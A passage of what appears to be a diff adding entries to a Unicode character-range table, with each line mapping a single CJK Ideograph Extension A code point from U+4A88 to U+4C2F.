+ ["\u4A88", "\u4A88"], /* CJK Ideograph Extension A */
+ ["\u4A89", "\u4A89"], /* CJK Ideograph Extension A */
+ ["\u4A8A", "\u4A8A"], /* CJK Ideograph Extension A */
+ ["\u4A8B", "\u4A8B"], /* CJK Ideograph Extension A */
+ ["\u4A8C", "\u4A8C"], /* CJK Ideograph Extension A */
+ ["\u4A8D", "\u4A8D"], /* CJK Ideograph Extension A */
+ ["\u4A8E", "\u4A8E"], /* CJK Ideograph Extension A */
+ ["\u4A8F", "\u4A8F"], /* CJK Ideograph Extension A */
+ ["\u4A90", "\u4A90"], /* CJK Ideograph Extension A */
+ ["\u4A91", "\u4A91"], /* CJK Ideograph Extension A */
+ ["\u4A92", "\u4A92"], /* CJK Ideograph Extension A */
+ ["\u4A93", "\u4A93"], /* CJK Ideograph Extension A */
+ ["\u4A94", "\u4A94"], /* CJK Ideograph Extension A */
+ ["\u4A95", "\u4A95"], /* CJK Ideograph Extension A */
+ ["\u4A96", "\u4A96"], /* CJK Ideograph Extension A */
+ ["\u4A97", "\u4A97"], /* CJK Ideograph Extension A */
+ ["\u4A98", "\u4A98"], /* CJK Ideograph Extension A */
+ ["\u4A99", "\u4A99"], /* CJK Ideograph Extension A */
+ ["\u4A9A", "\u4A9A"], /* CJK Ideograph Extension A */
+ ["\u4A9B", "\u4A9B"], /* CJK Ideograph Extension A */
+ ["\u4A9C", "\u4A9C"], /* CJK Ideograph Extension A */
+ ["\u4A9D", "\u4A9D"], /* CJK Ideograph Extension A */
+ ["\u4A9E", "\u4A9E"], /* CJK Ideograph Extension A */
+ ["\u4A9F", "\u4A9F"], /* CJK Ideograph Extension A */
+ ["\u4AA0", "\u4AA0"], /* CJK Ideograph Extension A */
+ ["\u4AA1", "\u4AA1"], /* CJK Ideograph Extension A */
+ ["\u4AA2", "\u4AA2"], /* CJK Ideograph Extension A */
+ ["\u4AA3", "\u4AA3"], /* CJK Ideograph Extension A */
+ ["\u4AA4", "\u4AA4"], /* CJK Ideograph Extension A */
+ ["\u4AA5", "\u4AA5"], /* CJK Ideograph Extension A */
+ ["\u4AA6", "\u4AA6"], /* CJK Ideograph Extension A */
+ ["\u4AA7", "\u4AA7"], /* CJK Ideograph Extension A */
+ ["\u4AA8", "\u4AA8"], /* CJK Ideograph Extension A */
+ ["\u4AA9", "\u4AA9"], /* CJK Ideograph Extension A */
+ ["\u4AAA", "\u4AAA"], /* CJK Ideograph Extension A */
+ ["\u4AAB", "\u4AAB"], /* CJK Ideograph Extension A */
+ ["\u4AAC", "\u4AAC"], /* CJK Ideograph Extension A */
+ ["\u4AAD", "\u4AAD"], /* CJK Ideograph Extension A */
+ ["\u4AAE", "\u4AAE"], /* CJK Ideograph Extension A */
+ ["\u4AAF", "\u4AAF"], /* CJK Ideograph Extension A */
+ ["\u4AB0", "\u4AB0"], /* CJK Ideograph Extension A */
+ ["\u4AB1", "\u4AB1"], /* CJK Ideograph Extension A */
+ ["\u4AB2", "\u4AB2"], /* CJK Ideograph Extension A */
+ ["\u4AB3", "\u4AB3"], /* CJK Ideograph Extension A */
+ ["\u4AB4", "\u4AB4"], /* CJK Ideograph Extension A */
+ ["\u4AB5", "\u4AB5"], /* CJK Ideograph Extension A */
+ ["\u4AB6", "\u4AB6"], /* CJK Ideograph Extension A */
+ ["\u4AB7", "\u4AB7"], /* CJK Ideograph Extension A */
+ ["\u4AB8", "\u4AB8"], /* CJK Ideograph Extension A */
+ ["\u4AB9", "\u4AB9"], /* CJK Ideograph Extension A */
+ ["\u4ABA", "\u4ABA"], /* CJK Ideograph Extension A */
+ ["\u4ABB", "\u4ABB"], /* CJK Ideograph Extension A */
+ ["\u4ABC", "\u4ABC"], /* CJK Ideograph Extension A */
+ ["\u4ABD", "\u4ABD"], /* CJK Ideograph Extension A */
+ ["\u4ABE", "\u4ABE"], /* CJK Ideograph Extension A */
+ ["\u4ABF", "\u4ABF"], /* CJK Ideograph Extension A */
+ ["\u4AC0", "\u4AC0"], /* CJK Ideograph Extension A */
+ ["\u4AC1", "\u4AC1"], /* CJK Ideograph Extension A */
+ ["\u4AC2", "\u4AC2"], /* CJK Ideograph Extension A */
+ ["\u4AC3", "\u4AC3"], /* CJK Ideograph Extension A */
+ ["\u4AC4", "\u4AC4"], /* CJK Ideograph Extension A */
+ ["\u4AC5", "\u4AC5"], /* CJK Ideograph Extension A */
+ ["\u4AC6", "\u4AC6"], /* CJK Ideograph Extension A */
+ ["\u4AC7", "\u4AC7"], /* CJK Ideograph Extension A */
+ ["\u4AC8", "\u4AC8"], /* CJK Ideograph Extension A */
+ ["\u4AC9", "\u4AC9"], /* CJK Ideograph Extension A */
+ ["\u4ACA", "\u4ACA"], /* CJK Ideograph Extension A */
+ ["\u4ACB", "\u4ACB"], /* CJK Ideograph Extension A */
+ ["\u4ACC", "\u4ACC"], /* CJK Ideograph Extension A */
+ ["\u4ACD", "\u4ACD"], /* CJK Ideograph Extension A */
+ ["\u4ACE", "\u4ACE"], /* CJK Ideograph Extension A */
+ ["\u4ACF", "\u4ACF"], /* CJK Ideograph Extension A */
+ ["\u4AD0", "\u4AD0"], /* CJK Ideograph Extension A */
+ ["\u4AD1", "\u4AD1"], /* CJK Ideograph Extension A */
+ ["\u4AD2", "\u4AD2"], /* CJK Ideograph Extension A */
+ ["\u4AD3", "\u4AD3"], /* CJK Ideograph Extension A */
+ ["\u4AD4", "\u4AD4"], /* CJK Ideograph Extension A */
+ ["\u4AD5", "\u4AD5"], /* CJK Ideograph Extension A */
+ ["\u4AD6", "\u4AD6"], /* CJK Ideograph Extension A */
+ ["\u4AD7", "\u4AD7"], /* CJK Ideograph Extension A */
+ ["\u4AD8", "\u4AD8"], /* CJK Ideograph Extension A */
+ ["\u4AD9", "\u4AD9"], /* CJK Ideograph Extension A */
+ ["\u4ADA", "\u4ADA"], /* CJK Ideograph Extension A */
+ ["\u4ADB", "\u4ADB"], /* CJK Ideograph Extension A */
+ ["\u4ADC", "\u4ADC"], /* CJK Ideograph Extension A */
+ ["\u4ADD", "\u4ADD"], /* CJK Ideograph Extension A */
+ ["\u4ADE", "\u4ADE"], /* CJK Ideograph Extension A */
+ ["\u4ADF", "\u4ADF"], /* CJK Ideograph Extension A */
+ ["\u4AE0", "\u4AE0"], /* CJK Ideograph Extension A */
+ ["\u4AE1", "\u4AE1"], /* CJK Ideograph Extension A */
+ ["\u4AE2", "\u4AE2"], /* CJK Ideograph Extension A */
+ ["\u4AE3", "\u4AE3"], /* CJK Ideograph Extension A */
+ ["\u4AE4", "\u4AE4"], /* CJK Ideograph Extension A */
+ ["\u4AE5", "\u4AE5"], /* CJK Ideograph Extension A */
+ ["\u4AE6", "\u4AE6"], /* CJK Ideograph Extension A */
+ ["\u4AE7", "\u4AE7"], /* CJK Ideograph Extension A */
+ ["\u4AE8", "\u4AE8"], /* CJK Ideograph Extension A */
+ ["\u4AE9", "\u4AE9"], /* CJK Ideograph Extension A */
+ ["\u4AEA", "\u4AEA"], /* CJK Ideograph Extension A */
+ ["\u4AEB", "\u4AEB"], /* CJK Ideograph Extension A */
+ ["\u4AEC", "\u4AEC"], /* CJK Ideograph Extension A */
+ ["\u4AED", "\u4AED"], /* CJK Ideograph Extension A */
+ ["\u4AEE", "\u4AEE"], /* CJK Ideograph Extension A */
+ ["\u4AEF", "\u4AEF"], /* CJK Ideograph Extension A */
+ ["\u4AF0", "\u4AF0"], /* CJK Ideograph Extension A */
+ ["\u4AF1", "\u4AF1"], /* CJK Ideograph Extension A */
+ ["\u4AF2", "\u4AF2"], /* CJK Ideograph Extension A */
+ ["\u4AF3", "\u4AF3"], /* CJK Ideograph Extension A */
+ ["\u4AF4", "\u4AF4"], /* CJK Ideograph Extension A */
+ ["\u4AF5", "\u4AF5"], /* CJK Ideograph Extension A */
+ ["\u4AF6", "\u4AF6"], /* CJK Ideograph Extension A */
+ ["\u4AF7", "\u4AF7"], /* CJK Ideograph Extension A */
+ ["\u4AF8", "\u4AF8"], /* CJK Ideograph Extension A */
+ ["\u4AF9", "\u4AF9"], /* CJK Ideograph Extension A */
+ ["\u4AFA", "\u4AFA"], /* CJK Ideograph Extension A */
+ ["\u4AFB", "\u4AFB"], /* CJK Ideograph Extension A */
+ ["\u4AFC", "\u4AFC"], /* CJK Ideograph Extension A */
+ ["\u4AFD", "\u4AFD"], /* CJK Ideograph Extension A */
+ ["\u4AFE", "\u4AFE"], /* CJK Ideograph Extension A */
+ ["\u4AFF", "\u4AFF"], /* CJK Ideograph Extension A */
+ ["\u4B00", "\u4B00"], /* CJK Ideograph Extension A */
+ ["\u4B01", "\u4B01"], /* CJK Ideograph Extension A */
+ ["\u4B02", "\u4B02"], /* CJK Ideograph Extension A */
+ ["\u4B03", "\u4B03"], /* CJK Ideograph Extension A */
+ ["\u4B04", "\u4B04"], /* CJK Ideograph Extension A */
+ ["\u4B05", "\u4B05"], /* CJK Ideograph Extension A */
+ ["\u4B06", "\u4B06"], /* CJK Ideograph Extension A */
+ ["\u4B07", "\u4B07"], /* CJK Ideograph Extension A */
+ ["\u4B08", "\u4B08"], /* CJK Ideograph Extension A */
+ ["\u4B09", "\u4B09"], /* CJK Ideograph Extension A */
+ ["\u4B0A", "\u4B0A"], /* CJK Ideograph Extension A */
+ ["\u4B0B", "\u4B0B"], /* CJK Ideograph Extension A */
+ ["\u4B0C", "\u4B0C"], /* CJK Ideograph Extension A */
+ ["\u4B0D", "\u4B0D"], /* CJK Ideograph Extension A */
+ ["\u4B0E", "\u4B0E"], /* CJK Ideograph Extension A */
+ ["\u4B0F", "\u4B0F"], /* CJK Ideograph Extension A */
+ ["\u4B10", "\u4B10"], /* CJK Ideograph Extension A */
+ ["\u4B11", "\u4B11"], /* CJK Ideograph Extension A */
+ ["\u4B12", "\u4B12"], /* CJK Ideograph Extension A */
+ ["\u4B13", "\u4B13"], /* CJK Ideograph Extension A */
+ ["\u4B14", "\u4B14"], /* CJK Ideograph Extension A */
+ ["\u4B15", "\u4B15"], /* CJK Ideograph Extension A */
+ ["\u4B16", "\u4B16"], /* CJK Ideograph Extension A */
+ ["\u4B17", "\u4B17"], /* CJK Ideograph Extension A */
+ ["\u4B18", "\u4B18"], /* CJK Ideograph Extension A */
+ ["\u4B19", "\u4B19"], /* CJK Ideograph Extension A */
+ ["\u4B1A", "\u4B1A"], /* CJK Ideograph Extension A */
+ ["\u4B1B", "\u4B1B"], /* CJK Ideograph Extension A */
+ ["\u4B1C", "\u4B1C"], /* CJK Ideograph Extension A */
+ ["\u4B1D", "\u4B1D"], /* CJK Ideograph Extension A */
+ ["\u4B1E", "\u4B1E"], /* CJK Ideograph Extension A */
+ ["\u4B1F", "\u4B1F"], /* CJK Ideograph Extension A */
+ ["\u4B20", "\u4B20"], /* CJK Ideograph Extension A */
+ ["\u4B21", "\u4B21"], /* CJK Ideograph Extension A */
+ ["\u4B22", "\u4B22"], /* CJK Ideograph Extension A */
+ ["\u4B23", "\u4B23"], /* CJK Ideograph Extension A */
+ ["\u4B24", "\u4B24"], /* CJK Ideograph Extension A */
+ ["\u4B25", "\u4B25"], /* CJK Ideograph Extension A */
+ ["\u4B26", "\u4B26"], /* CJK Ideograph Extension A */
+ ["\u4B27", "\u4B27"], /* CJK Ideograph Extension A */
+ ["\u4B28", "\u4B28"], /* CJK Ideograph Extension A */
+ ["\u4B29", "\u4B29"], /* CJK Ideograph Extension A */
+ ["\u4B2A", "\u4B2A"], /* CJK Ideograph Extension A */
+ ["\u4B2B", "\u4B2B"], /* CJK Ideograph Extension A */
+ ["\u4B2C", "\u4B2C"], /* CJK Ideograph Extension A */
+ ["\u4B2D", "\u4B2D"], /* CJK Ideograph Extension A */
+ ["\u4B2E", "\u4B2E"], /* CJK Ideograph Extension A */
+ ["\u4B2F", "\u4B2F"], /* CJK Ideograph Extension A */
+ ["\u4B30", "\u4B30"], /* CJK Ideograph Extension A */
+ ["\u4B31", "\u4B31"], /* CJK Ideograph Extension A */
+ ["\u4B32", "\u4B32"], /* CJK Ideograph Extension A */
+ ["\u4B33", "\u4B33"], /* CJK Ideograph Extension A */
+ ["\u4B34", "\u4B34"], /* CJK Ideograph Extension A */
+ ["\u4B35", "\u4B35"], /* CJK Ideograph Extension A */
+ ["\u4B36", "\u4B36"], /* CJK Ideograph Extension A */
+ ["\u4B37", "\u4B37"], /* CJK Ideograph Extension A */
+ ["\u4B38", "\u4B38"], /* CJK Ideograph Extension A */
+ ["\u4B39", "\u4B39"], /* CJK Ideograph Extension A */
+ ["\u4B3A", "\u4B3A"], /* CJK Ideograph Extension A */
+ ["\u4B3B", "\u4B3B"], /* CJK Ideograph Extension A */
+ ["\u4B3C", "\u4B3C"], /* CJK Ideograph Extension A */
+ ["\u4B3D", "\u4B3D"], /* CJK Ideograph Extension A */
+ ["\u4B3E", "\u4B3E"], /* CJK Ideograph Extension A */
+ ["\u4B3F", "\u4B3F"], /* CJK Ideograph Extension A */
+ ["\u4B40", "\u4B40"], /* CJK Ideograph Extension A */
+ ["\u4B41", "\u4B41"], /* CJK Ideograph Extension A */
+ ["\u4B42", "\u4B42"], /* CJK Ideograph Extension A */
+ ["\u4B43", "\u4B43"], /* CJK Ideograph Extension A */
+ ["\u4B44", "\u4B44"], /* CJK Ideograph Extension A */
+ ["\u4B45", "\u4B45"], /* CJK Ideograph Extension A */
+ ["\u4B46", "\u4B46"], /* CJK Ideograph Extension A */
+ ["\u4B47", "\u4B47"], /* CJK Ideograph Extension A */
+ ["\u4B48", "\u4B48"], /* CJK Ideograph Extension A */
+ ["\u4B49", "\u4B49"], /* CJK Ideograph Extension A */
+ ["\u4B4A", "\u4B4A"], /* CJK Ideograph Extension A */
+ ["\u4B4B", "\u4B4B"], /* CJK Ideograph Extension A */
+ ["\u4B4C", "\u4B4C"], /* CJK Ideograph Extension A */
+ ["\u4B4D", "\u4B4D"], /* CJK Ideograph Extension A */
+ ["\u4B4E", "\u4B4E"], /* CJK Ideograph Extension A */
+ ["\u4B4F", "\u4B4F"], /* CJK Ideograph Extension A */
+ ["\u4B50", "\u4B50"], /* CJK Ideograph Extension A */
+ ["\u4B51", "\u4B51"], /* CJK Ideograph Extension A */
+ ["\u4B52", "\u4B52"], /* CJK Ideograph Extension A */
+ ["\u4B53", "\u4B53"], /* CJK Ideograph Extension A */
+ ["\u4B54", "\u4B54"], /* CJK Ideograph Extension A */
+ ["\u4B55", "\u4B55"], /* CJK Ideograph Extension A */
+ ["\u4B56", "\u4B56"], /* CJK Ideograph Extension A */
+ ["\u4B57", "\u4B57"], /* CJK Ideograph Extension A */
+ ["\u4B58", "\u4B58"], /* CJK Ideograph Extension A */
+ ["\u4B59", "\u4B59"], /* CJK Ideograph Extension A */
+ ["\u4B5A", "\u4B5A"], /* CJK Ideograph Extension A */
+ ["\u4B5B", "\u4B5B"], /* CJK Ideograph Extension A */
+ ["\u4B5C", "\u4B5C"], /* CJK Ideograph Extension A */
+ ["\u4B5D", "\u4B5D"], /* CJK Ideograph Extension A */
+ ["\u4B5E", "\u4B5E"], /* CJK Ideograph Extension A */
+ ["\u4B5F", "\u4B5F"], /* CJK Ideograph Extension A */
+ ["\u4B60", "\u4B60"], /* CJK Ideograph Extension A */
+ ["\u4B61", "\u4B61"], /* CJK Ideograph Extension A */
+ ["\u4B62", "\u4B62"], /* CJK Ideograph Extension A */
+ ["\u4B63", "\u4B63"], /* CJK Ideograph Extension A */
+ ["\u4B64", "\u4B64"], /* CJK Ideograph Extension A */
+ ["\u4B65", "\u4B65"], /* CJK Ideograph Extension A */
+ ["\u4B66", "\u4B66"], /* CJK Ideograph Extension A */
+ ["\u4B67", "\u4B67"], /* CJK Ideograph Extension A */
+ ["\u4B68", "\u4B68"], /* CJK Ideograph Extension A */
+ ["\u4B69", "\u4B69"], /* CJK Ideograph Extension A */
+ ["\u4B6A", "\u4B6A"], /* CJK Ideograph Extension A */
+ ["\u4B6B", "\u4B6B"], /* CJK Ideograph Extension A */
+ ["\u4B6C", "\u4B6C"], /* CJK Ideograph Extension A */
+ ["\u4B6D", "\u4B6D"], /* CJK Ideograph Extension A */
+ ["\u4B6E", "\u4B6E"], /* CJK Ideograph Extension A */
+ ["\u4B6F", "\u4B6F"], /* CJK Ideograph Extension A */
+ ["\u4B70", "\u4B70"], /* CJK Ideograph Extension A */
+ ["\u4B71", "\u4B71"], /* CJK Ideograph Extension A */
+ ["\u4B72", "\u4B72"], /* CJK Ideograph Extension A */
+ ["\u4B73", "\u4B73"], /* CJK Ideograph Extension A */
+ ["\u4B74", "\u4B74"], /* CJK Ideograph Extension A */
+ ["\u4B75", "\u4B75"], /* CJK Ideograph Extension A */
+ ["\u4B76", "\u4B76"], /* CJK Ideograph Extension A */
+ ["\u4B77", "\u4B77"], /* CJK Ideograph Extension A */
+ ["\u4B78", "\u4B78"], /* CJK Ideograph Extension A */
+ ["\u4B79", "\u4B79"], /* CJK Ideograph Extension A */
+ ["\u4B7A", "\u4B7A"], /* CJK Ideograph Extension A */
+ ["\u4B7B", "\u4B7B"], /* CJK Ideograph Extension A */
+ ["\u4B7C", "\u4B7C"], /* CJK Ideograph Extension A */
+ ["\u4B7D", "\u4B7D"], /* CJK Ideograph Extension A */
+ ["\u4B7E", "\u4B7E"], /* CJK Ideograph Extension A */
+ ["\u4B7F", "\u4B7F"], /* CJK Ideograph Extension A */
+ ["\u4B80", "\u4B80"], /* CJK Ideograph Extension A */
+ ["\u4B81", "\u4B81"], /* CJK Ideograph Extension A */
+ ["\u4B82", "\u4B82"], /* CJK Ideograph Extension A */
+ ["\u4B83", "\u4B83"], /* CJK Ideograph Extension A */
+ ["\u4B84", "\u4B84"], /* CJK Ideograph Extension A */
+ ["\u4B85", "\u4B85"], /* CJK Ideograph Extension A */
+ ["\u4B86", "\u4B86"], /* CJK Ideograph Extension A */
+ ["\u4B87", "\u4B87"], /* CJK Ideograph Extension A */
+ ["\u4B88", "\u4B88"], /* CJK Ideograph Extension A */
+ ["\u4B89", "\u4B89"], /* CJK Ideograph Extension A */
+ ["\u4B8A", "\u4B8A"], /* CJK Ideograph Extension A */
+ ["\u4B8B", "\u4B8B"], /* CJK Ideograph Extension A */
+ ["\u4B8C", "\u4B8C"], /* CJK Ideograph Extension A */
+ ["\u4B8D", "\u4B8D"], /* CJK Ideograph Extension A */
+ ["\u4B8E", "\u4B8E"], /* CJK Ideograph Extension A */
+ ["\u4B8F", "\u4B8F"], /* CJK Ideograph Extension A */
+ ["\u4B90", "\u4B90"], /* CJK Ideograph Extension A */
+ ["\u4B91", "\u4B91"], /* CJK Ideograph Extension A */
+ ["\u4B92", "\u4B92"], /* CJK Ideograph Extension A */
+ ["\u4B93", "\u4B93"], /* CJK Ideograph Extension A */
+ ["\u4B94", "\u4B94"], /* CJK Ideograph Extension A */
+ ["\u4B95", "\u4B95"], /* CJK Ideograph Extension A */
+ ["\u4B96", "\u4B96"], /* CJK Ideograph Extension A */
+ ["\u4B97", "\u4B97"], /* CJK Ideograph Extension A */
+ ["\u4B98", "\u4B98"], /* CJK Ideograph Extension A */
+ ["\u4B99", "\u4B99"], /* CJK Ideograph Extension A */
+ ["\u4B9A", "\u4B9A"], /* CJK Ideograph Extension A */
+ ["\u4B9B", "\u4B9B"], /* CJK Ideograph Extension A */
+ ["\u4B9C", "\u4B9C"], /* CJK Ideograph Extension A */
+ ["\u4B9D", "\u4B9D"], /* CJK Ideograph Extension A */
+ ["\u4B9E", "\u4B9E"], /* CJK Ideograph Extension A */
+ ["\u4B9F", "\u4B9F"], /* CJK Ideograph Extension A */
+ ["\u4BA0", "\u4BA0"], /* CJK Ideograph Extension A */
+ ["\u4BA1", "\u4BA1"], /* CJK Ideograph Extension A */
+ ["\u4BA2", "\u4BA2"], /* CJK Ideograph Extension A */
+ ["\u4BA3", "\u4BA3"], /* CJK Ideograph Extension A */
+ ["\u4BA4", "\u4BA4"], /* CJK Ideograph Extension A */
+ ["\u4BA5", "\u4BA5"], /* CJK Ideograph Extension A */
+ ["\u4BA6", "\u4BA6"], /* CJK Ideograph Extension A */
+ ["\u4BA7", "\u4BA7"], /* CJK Ideograph Extension A */
+ ["\u4BA8", "\u4BA8"], /* CJK Ideograph Extension A */
+ ["\u4BA9", "\u4BA9"], /* CJK Ideograph Extension A */
+ ["\u4BAA", "\u4BAA"], /* CJK Ideograph Extension A */
+ ["\u4BAB", "\u4BAB"], /* CJK Ideograph Extension A */
+ ["\u4BAC", "\u4BAC"], /* CJK Ideograph Extension A */
+ ["\u4BAD", "\u4BAD"], /* CJK Ideograph Extension A */
+ ["\u4BAE", "\u4BAE"], /* CJK Ideograph Extension A */
+ ["\u4BAF", "\u4BAF"], /* CJK Ideograph Extension A */
+ ["\u4BB0", "\u4BB0"], /* CJK Ideograph Extension A */
+ ["\u4BB1", "\u4BB1"], /* CJK Ideograph Extension A */
+ ["\u4BB2", "\u4BB2"], /* CJK Ideograph Extension A */
+ ["\u4BB3", "\u4BB3"], /* CJK Ideograph Extension A */
+ ["\u4BB4", "\u4BB4"], /* CJK Ideograph Extension A */
+ ["\u4BB5", "\u4BB5"], /* CJK Ideograph Extension A */
+ ["\u4BB6", "\u4BB6"], /* CJK Ideograph Extension A */
+ ["\u4BB7", "\u4BB7"], /* CJK Ideograph Extension A */
+ ["\u4BB8", "\u4BB8"], /* CJK Ideograph Extension A */
+ ["\u4BB9", "\u4BB9"], /* CJK Ideograph Extension A */
+ ["\u4BBA", "\u4BBA"], /* CJK Ideograph Extension A */
+ ["\u4BBB", "\u4BBB"], /* CJK Ideograph Extension A */
+ ["\u4BBC", "\u4BBC"], /* CJK Ideograph Extension A */
+ ["\u4BBD", "\u4BBD"], /* CJK Ideograph Extension A */
+ ["\u4BBE", "\u4BBE"], /* CJK Ideograph Extension A */
+ ["\u4BBF", "\u4BBF"], /* CJK Ideograph Extension A */
+ ["\u4BC0", "\u4BC0"], /* CJK Ideograph Extension A */
+ ["\u4BC1", "\u4BC1"], /* CJK Ideograph Extension A */
+ ["\u4BC2", "\u4BC2"], /* CJK Ideograph Extension A */
+ ["\u4BC3", "\u4BC3"], /* CJK Ideograph Extension A */
+ ["\u4BC4", "\u4BC4"], /* CJK Ideograph Extension A */
+ ["\u4BC5", "\u4BC5"], /* CJK Ideograph Extension A */
+ ["\u4BC6", "\u4BC6"], /* CJK Ideograph Extension A */
+ ["\u4BC7", "\u4BC7"], /* CJK Ideograph Extension A */
+ ["\u4BC8", "\u4BC8"], /* CJK Ideograph Extension A */
+ ["\u4BC9", "\u4BC9"], /* CJK Ideograph Extension A */
+ ["\u4BCA", "\u4BCA"], /* CJK Ideograph Extension A */
+ ["\u4BCB", "\u4BCB"], /* CJK Ideograph Extension A */
+ ["\u4BCC", "\u4BCC"], /* CJK Ideograph Extension A */
+ ["\u4BCD", "\u4BCD"], /* CJK Ideograph Extension A */
+ ["\u4BCE", "\u4BCE"], /* CJK Ideograph Extension A */
+ ["\u4BCF", "\u4BCF"], /* CJK Ideograph Extension A */
+ ["\u4BD0", "\u4BD0"], /* CJK Ideograph Extension A */
+ ["\u4BD1", "\u4BD1"], /* CJK Ideograph Extension A */
+ ["\u4BD2", "\u4BD2"], /* CJK Ideograph Extension A */
+ ["\u4BD3", "\u4BD3"], /* CJK Ideograph Extension A */
+ ["\u4BD4", "\u4BD4"], /* CJK Ideograph Extension A */
+ ["\u4BD5", "\u4BD5"], /* CJK Ideograph Extension A */
+ ["\u4BD6", "\u4BD6"], /* CJK Ideograph Extension A */
+ ["\u4BD7", "\u4BD7"], /* CJK Ideograph Extension A */
+ ["\u4BD8", "\u4BD8"], /* CJK Ideograph Extension A */
+ ["\u4BD9", "\u4BD9"], /* CJK Ideograph Extension A */
+ ["\u4BDA", "\u4BDA"], /* CJK Ideograph Extension A */
+ ["\u4BDB", "\u4BDB"], /* CJK Ideograph Extension A */
+ ["\u4BDC", "\u4BDC"], /* CJK Ideograph Extension A */
+ ["\u4BDD", "\u4BDD"], /* CJK Ideograph Extension A */
+ ["\u4BDE", "\u4BDE"], /* CJK Ideograph Extension A */
+ ["\u4BDF", "\u4BDF"], /* CJK Ideograph Extension A */
+ ["\u4BE0", "\u4BE0"], /* CJK Ideograph Extension A */
+ ["\u4BE1", "\u4BE1"], /* CJK Ideograph Extension A */
+ ["\u4BE2", "\u4BE2"], /* CJK Ideograph Extension A */
+ ["\u4BE3", "\u4BE3"], /* CJK Ideograph Extension A */
+ ["\u4BE4", "\u4BE4"], /* CJK Ideograph Extension A */
+ ["\u4BE5", "\u4BE5"], /* CJK Ideograph Extension A */
+ ["\u4BE6", "\u4BE6"], /* CJK Ideograph Extension A */
+ ["\u4BE7", "\u4BE7"], /* CJK Ideograph Extension A */
+ ["\u4BE8", "\u4BE8"], /* CJK Ideograph Extension A */
+ ["\u4BE9", "\u4BE9"], /* CJK Ideograph Extension A */
+ ["\u4BEA", "\u4BEA"], /* CJK Ideograph Extension A */
+ ["\u4BEB", "\u4BEB"], /* CJK Ideograph Extension A */
+ ["\u4BEC", "\u4BEC"], /* CJK Ideograph Extension A */
+ ["\u4BED", "\u4BED"], /* CJK Ideograph Extension A */
+ ["\u4BEE", "\u4BEE"], /* CJK Ideograph Extension A */
+ ["\u4BEF", "\u4BEF"], /* CJK Ideograph Extension A */
+ ["\u4BF0", "\u4BF0"], /* CJK Ideograph Extension A */
+ ["\u4BF1", "\u4BF1"], /* CJK Ideograph Extension A */
+ ["\u4BF2", "\u4BF2"], /* CJK Ideograph Extension A */
+ ["\u4BF3", "\u4BF3"], /* CJK Ideograph Extension A */
+ ["\u4BF4", "\u4BF4"], /* CJK Ideograph Extension A */
+ ["\u4BF5", "\u4BF5"], /* CJK Ideograph Extension A */
+ ["\u4BF6", "\u4BF6"], /* CJK Ideograph Extension A */
+ ["\u4BF7", "\u4BF7"], /* CJK Ideograph Extension A */
+ ["\u4BF8", "\u4BF8"], /* CJK Ideograph Extension A */
+ ["\u4BF9", "\u4BF9"], /* CJK Ideograph Extension A */
+ ["\u4BFA", "\u4BFA"], /* CJK Ideograph Extension A */
+ ["\u4BFB", "\u4BFB"], /* CJK Ideograph Extension A */
+ ["\u4BFC", "\u4BFC"], /* CJK Ideograph Extension A */
+ ["\u4BFD", "\u4BFD"], /* CJK Ideograph Extension A */
+ ["\u4BFE", "\u4BFE"], /* CJK Ideograph Extension A */
+ ["\u4BFF", "\u4BFF"], /* CJK Ideograph Extension A */
+ ["\u4C00", "\u4C00"], /* CJK Ideograph Extension A */
+ ["\u4C01", "\u4C01"], /* CJK Ideograph Extension A */
+ ["\u4C02", "\u4C02"], /* CJK Ideograph Extension A */
+ ["\u4C03", "\u4C03"], /* CJK Ideograph Extension A */
+ ["\u4C04", "\u4C04"], /* CJK Ideograph Extension A */
+ ["\u4C05", "\u4C05"], /* CJK Ideograph Extension A */
+ ["\u4C06", "\u4C06"], /* CJK Ideograph Extension A */
+ ["\u4C07", "\u4C07"], /* CJK Ideograph Extension A */
+ ["\u4C08", "\u4C08"], /* CJK Ideograph Extension A */
+ ["\u4C09", "\u4C09"], /* CJK Ideograph Extension A */
+ ["\u4C0A", "\u4C0A"], /* CJK Ideograph Extension A */
+ ["\u4C0B", "\u4C0B"], /* CJK Ideograph Extension A */
+ ["\u4C0C", "\u4C0C"], /* CJK Ideograph Extension A */
+ ["\u4C0D", "\u4C0D"], /* CJK Ideograph Extension A */
+ ["\u4C0E", "\u4C0E"], /* CJK Ideograph Extension A */
+ ["\u4C0F", "\u4C0F"], /* CJK Ideograph Extension A */
+ ["\u4C10", "\u4C10"], /* CJK Ideograph Extension A */
+ ["\u4C11", "\u4C11"], /* CJK Ideograph Extension A */
+ ["\u4C12", "\u4C12"], /* CJK Ideograph Extension A */
+ ["\u4C13", "\u4C13"], /* CJK Ideograph Extension A */
+ ["\u4C14", "\u4C14"], /* CJK Ideograph Extension A */
+ ["\u4C15", "\u4C15"], /* CJK Ideograph Extension A */
+ ["\u4C16", "\u4C16"], /* CJK Ideograph Extension A */
+ ["\u4C17", "\u4C17"], /* CJK Ideograph Extension A */
+ ["\u4C18", "\u4C18"], /* CJK Ideograph Extension A */
+ ["\u4C19", "\u4C19"], /* CJK Ideograph Extension A */
+ ["\u4C1A", "\u4C1A"], /* CJK Ideograph Extension A */
+ ["\u4C1B", "\u4C1B"], /* CJK Ideograph Extension A */
+ ["\u4C1C", "\u4C1C"], /* CJK Ideograph Extension A */
+ ["\u4C1D", "\u4C1D"], /* CJK Ideograph Extension A */
+ ["\u4C1E", "\u4C1E"], /* CJK Ideograph Extension A */
+ ["\u4C1F", "\u4C1F"], /* CJK Ideograph Extension A */
+ ["\u4C20", "\u4C20"], /* CJK Ideograph Extension A */
+ ["\u4C21", "\u4C21"], /* CJK Ideograph Extension A */
+ ["\u4C22", "\u4C22"], /* CJK Ideograph Extension A */
+ ["\u4C23", "\u4C23"], /* CJK Ideograph Extension A */
+ ["\u4C24", "\u4C24"], /* CJK Ideograph Extension A */
+ ["\u4C25", "\u4C25"], /* CJK Ideograph Extension A */
+ ["\u4C26", "\u4C26"], /* CJK Ideograph Extension A */
+ ["\u4C27", "\u4C27"], /* CJK Ideograph Extension A */
+ ["\u4C28", "\u4C28"], /* CJK Ideograph Extension A */
+ ["\u4C29", "\u4C29"], /* CJK Ideograph Extension A */
+ ["\u4C2A", "\u4C2A"], /* CJK Ideograph Extension A */
+ ["\u4C2B", "\u4C2B"], /* CJK Ideograph Extension A */
+ ["\u4C2C", "\u4C2C"], /* CJK Ideograph Extension A */
+ ["\u4C2D", "\u4C2D"], /* CJK Ideograph Extension A */
+ ["\u4C2E", "\u4C2E"], /* CJK Ideograph Extension A */
+ ["\u4C2F", "\u4C2F"], /* CJK Ideograph Extension A */
